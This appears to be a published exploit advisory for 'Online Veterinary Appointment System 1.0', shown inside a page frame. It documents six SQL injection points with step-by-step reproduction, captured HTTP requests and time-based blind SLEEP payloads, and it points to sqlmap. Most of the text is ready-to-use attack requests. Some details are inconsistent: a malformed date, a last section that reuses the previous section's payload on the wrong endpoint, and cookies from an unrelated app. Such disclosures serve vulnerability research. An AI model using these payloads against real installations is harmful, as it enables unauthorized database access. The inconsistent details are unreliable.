扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 |
# Exploit Title: Online Veterinary Appointment System 1.0 - 'Multiple' SQL Injection # Date: 05/01/20222 # Exploit Author: twseptian # Vendor Homepage: https://www.sourcecodester.com/php/15119/online-veterinary-appointment-system-using-phpoop-free-source-code.html # Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/ovas.zip # Version: v1.0 # Tested on: Kali Linux 2021.4 ===================================================================================================================================== SQL Injection: ===================================================================================================================================== SQL injection is a web security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. Online Veterinary Appointment System 1.0 is vulnerable to 'Multiple' SQL injections. ===================================================================================================================================== Attack Vector: ===================================================================================================================================== An attacker can compromise the database of the application using some automated(or manual) tools like SQLmap. ===================================================================================================================================== 1. Appointment Requests - Vulnerable Parameter(s): id ===================================================================================================================================== Steps of reproduce: Step-1: On the dashboard navigate to 'Appointment Requests' page using the following URL: http://localhost/ovas/admin/?page=appointments then go to 'Action' > 'View'. Step-2: Put the SQL Injection payloads in 'id' field. time-based blind payload : page=appointments/view_details&id=1' AND (SELECT 2197 FROM (SELECT(SLEEP(5)))DZwi) AND 'mQQq'='mQQq Step-3: Now, the Server target accepted our payload and the response got delayed by 5 seconds. ===================================================================================================================================== 2. Inquiries - Vulnerable Parameter(s): id ===================================================================================================================================== Steps of reproduce: Step-1: On the dashboard navigate to 'Inquiries' page using the following URL: http://localhost/ovas/admin/?page=inquiries then go to 'Action' > 'View'. Step-2: Let's intercept 'View' request using burpsuite: GET /ovas/admin/inquiries/view_details.php?id=1 HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Connection: close Referer: http://localhost/ovas/admin/?page=inquiries Cookie: columns%2Fsuperschool%2Fcourses_view.php={%22courses-name%22:true}; columns%2Fsuperschool%2Fstudents_view.php={%22students-regno%22:true%2C%22students-name%22:true%2C%22students-course%22:true%2C%22students-year%22:true%2C%22students-academicyear%22:true}; columns%2Fsuperschool%2Fattendance_view.php={%22attendance-student%22:true%2C%22attendance-regno%22:true%2C%22attendance-week%22:true%2C%22attendance-date%22:true%2C%22attendance-unit%22:true%2C%22attendance-attended%22:true%2C%22attendance-semester%22:true%2C%22attendance-academicyear%22:true}; columns%2Fsuperschool%2Funits_view.php={%22units-name%22:true}; Student_Management_System=od4k9dre71c7assr0bldij1r1l; PHPSESSID=ml909jot3g3pr65oh31l8ip6j9 Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Put the SQL Injection payloads in 'id' field. time-based blind payload : /ovas/admin/inquiries/view_details.php?id=1' AND (SELECT 6051 FROM (SELECT(SLEEP(5)))DEds) AND 'SOxP'='SOxP Step-3: Now, the Server target accepted our payload and the response got delayed by 5 seconds. ===================================================================================================================================== 3. My Account - Vulnerable Parameter(s): id,firstname,lastname,username ===================================================================================================================================== Steps of reproduce: Step-1: On the dashboard navigate to 'My Account' page using the following URL: http://localhost/ovas/admin/?page=user Step-2: then let's intercept 'Update' request using burpsuite: POST /ovas/classes/Users.php?f=save HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=---------------------------24959341351495697487735843118 Content-Length: 796 Origin: http://localhost Connection: close Referer: http://localhost/ovas/admin/?page=user Cookie: columns%2Fsuperschool%2Fcourses_view.php={%22courses-name%22:true}; columns%2Fsuperschool%2Fstudents_view.php={%22students-regno%22:true%2C%22students-name%22:true%2C%22students-course%22:true%2C%22students-year%22:true%2C%22students-academicyear%22:true}; columns%2Fsuperschool%2Fattendance_view.php={%22attendance-student%22:true%2C%22attendance-regno%22:true%2C%22attendance-week%22:true%2C%22attendance-date%22:true%2C%22attendance-unit%22:true%2C%22attendance-attended%22:true%2C%22attendance-semester%22:true%2C%22attendance-academicyear%22:true}; columns%2Fsuperschool%2Funits_view.php={%22units-name%22:true}; Student_Management_System=od4k9dre71c7assr0bldij1r1l; PHPSESSID=ml909jot3g3pr65oh31l8ip6j9 Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin -----------------------------24959341351495697487735843118 Content-Disposition: form-data; name="id" 4 -----------------------------24959341351495697487735843118 Content-Disposition: form-data; name="firstname" user -----------------------------24959341351495697487735843118 Content-Disposition: form-data; name="lastname" user -----------------------------24959341351495697487735843118 Content-Disposition: form-data; name="username" user -----------------------------24959341351495697487735843118 Content-Disposition: form-data; name="password" -----------------------------24959341351495697487735843118 Content-Disposition: form-data; name="img"; filename="" Content-Type: application/octet-stream -----------------------------24959341351495697487735843118-- Put the SQL Injection payloads in Vulnerable Parameter(s): id,firstname,lastname,username for example, the time-based blind payload in 'id': [SNIP] Content-Disposition: form-data; name="id" 4 AND (SELECT 9713 FROM (SELECT(SLEEP(5)))YIam) -----------------------------24959341351495697487735843118 Content-Disposition: form-data; name="firstname" user -----------------------------24959341351495697487735843118 Content-Disposition: form-data; name="lastname" user -----------------------------24959341351495697487735843118 Content-Disposition: form-data; name="username" user -----------------------------24959341351495697487735843118 Content-Disposition: form-data; name="password" -----------------------------24959341351495697487735843118 Content-Disposition: form-data; name="img"; filename="" Content-Type: application/octet-stream -----------------------------24959341351495697487735843118-- Step-3: If we use BurpSuite, click 'Send'. The server target accepted our payload, and the response got delayed by 5 seconds. The same thing for other parameters ===================================================================================================================================== 4. Category List - Vulnerable Parameter(s): id ===================================================================================================================================== Steps of reproduce: Step-1: On the dashboard navigate to 'Category List ' page using the following URL: http://localhost/ovas/admin/?page=categories then go to 'Action' > 'Edit' Step-2: Let's intercept 'Edit' request using burpsuite: GET /ovas/admin/categories/manage_category.php?id=2 HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Connection: close Referer: http://localhost/ovas/admin/?page=categories Cookie: columns%2Fsuperschool%2Fcourses_view.php={%22courses-name%22:true}; columns%2Fsuperschool%2Fstudents_view.php={%22students-regno%22:true%2C%22students-name%22:true%2C%22students-course%22:true%2C%22students-year%22:true%2C%22students-academicyear%22:true}; columns%2Fsuperschool%2Fattendance_view.php={%22attendance-student%22:true%2C%22attendance-regno%22:true%2C%22attendance-week%22:true%2C%22attendance-date%22:true%2C%22attendance-unit%22:true%2C%22attendance-attended%22:true%2C%22attendance-semester%22:true%2C%22attendance-academicyear%22:true}; columns%2Fsuperschool%2Funits_view.php={%22units-name%22:true}; Student_Management_System=od4k9dre71c7assr0bldij1r1l; PHPSESSID=ml909jot3g3pr65oh31l8ip6j9 Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Put the SQL Injection payloads in 'id' field. time-based blind payload : /ovas/admin/categories/manage_category.php?id=2' AND (SELECT 3851 FROM (SELECT(SLEEP(5)))UFXk) AND 'XbFb'='XbFb Step-3: Now, the Server target accepted our payload and the response got delayed by 5 seconds. ===================================================================================================================================== 5. Service List - Vulnerable Parameter(s): id ===================================================================================================================================== Steps of reproduce: Step-1: On the dashboard navigate to 'Service List ' page using the following URL: http://localhost/ovas/admin/?page=services then go to 'Action' > 'View' Step-2: Let's intercept 'View' request using burpsuite: GET /ovas/admin/services/view_service.php?id=4 HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Connection: close Referer: http://localhost/ovas/admin/?page=services Cookie: columns%2Fsuperschool%2Fcourses_view.php={%22courses-name%22:true}; columns%2Fsuperschool%2Fstudents_view.php={%22students-regno%22:true%2C%22students-name%22:true%2C%22students-course%22:true%2C%22students-year%22:true%2C%22students-academicyear%22:true}; columns%2Fsuperschool%2Fattendance_view.php={%22attendance-student%22:true%2C%22attendance-regno%22:true%2C%22attendance-week%22:true%2C%22attendance-date%22:true%2C%22attendance-unit%22:true%2C%22attendance-attended%22:true%2C%22attendance-semester%22:true%2C%22attendance-academicyear%22:true}; columns%2Fsuperschool%2Funits_view.php={%22units-name%22:true}; Student_Management_System=od4k9dre71c7assr0bldij1r1l; PHPSESSID=ml909jot3g3pr65oh31l8ip6j9 Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Put the SQL Injection payloads in 'id' field. time-based blind payload : /ovas/admin/services/view_service.php?id=4' AND (SELECT 5507 FROM (SELECT(SLEEP(5)))kAsY) AND 'UrUQ'='UrUQ Step-3: Now, the Server target accepted our payload and the response got delayed by 5 seconds. ===================================================================================================================================== 6. Admin User List - Vulnerable Parameter(s): id ===================================================================================================================================== Steps of reproduce: Step-1: On the dashboard navigate to 'Admin User List ' page using the following URL: http://localhost/ovas/admin/?page=user/list then go to 'Action' > 'Edit' Step-2: Let's intercept 'Edit' request using burpsuite: GET /ovas/admin/?page=user/manage_user&id=3 HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Referer: http://localhost/ovas/admin/?page=user/list Cookie: columns%2Fsuperschool%2Fcourses_view.php={%22courses-name%22:true}; columns%2Fsuperschool%2Fstudents_view.php={%22students-regno%22:true%2C%22students-name%22:true%2C%22students-course%22:true%2C%22students-year%22:true%2C%22students-academicyear%22:true}; columns%2Fsuperschool%2Fattendance_view.php={%22attendance-student%22:true%2C%22attendance-regno%22:true%2C%22attendance-week%22:true%2C%22attendance-date%22:true%2C%22attendance-unit%22:true%2C%22attendance-attended%22:true%2C%22attendance-semester%22:true%2C%22attendance-academicyear%22:true}; columns%2Fsuperschool%2Funits_view.php={%22units-name%22:true}; Student_Management_System=od4k9dre71c7assr0bldij1r1l; PHPSESSID=ml909jot3g3pr65oh31l8ip6j9 Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 Put the SQL Injection payloads in 'id' field. time-based blind payload : /ovas/admin/services/view_service.php?id=4' AND (SELECT 5507 FROM (SELECT(SLEEP(5)))kAsY) AND 'UrUQ'='UrUQ Step-3: Now, the Server target accepted our payload and the response got delayed by 5 seconds. |
体验盒子
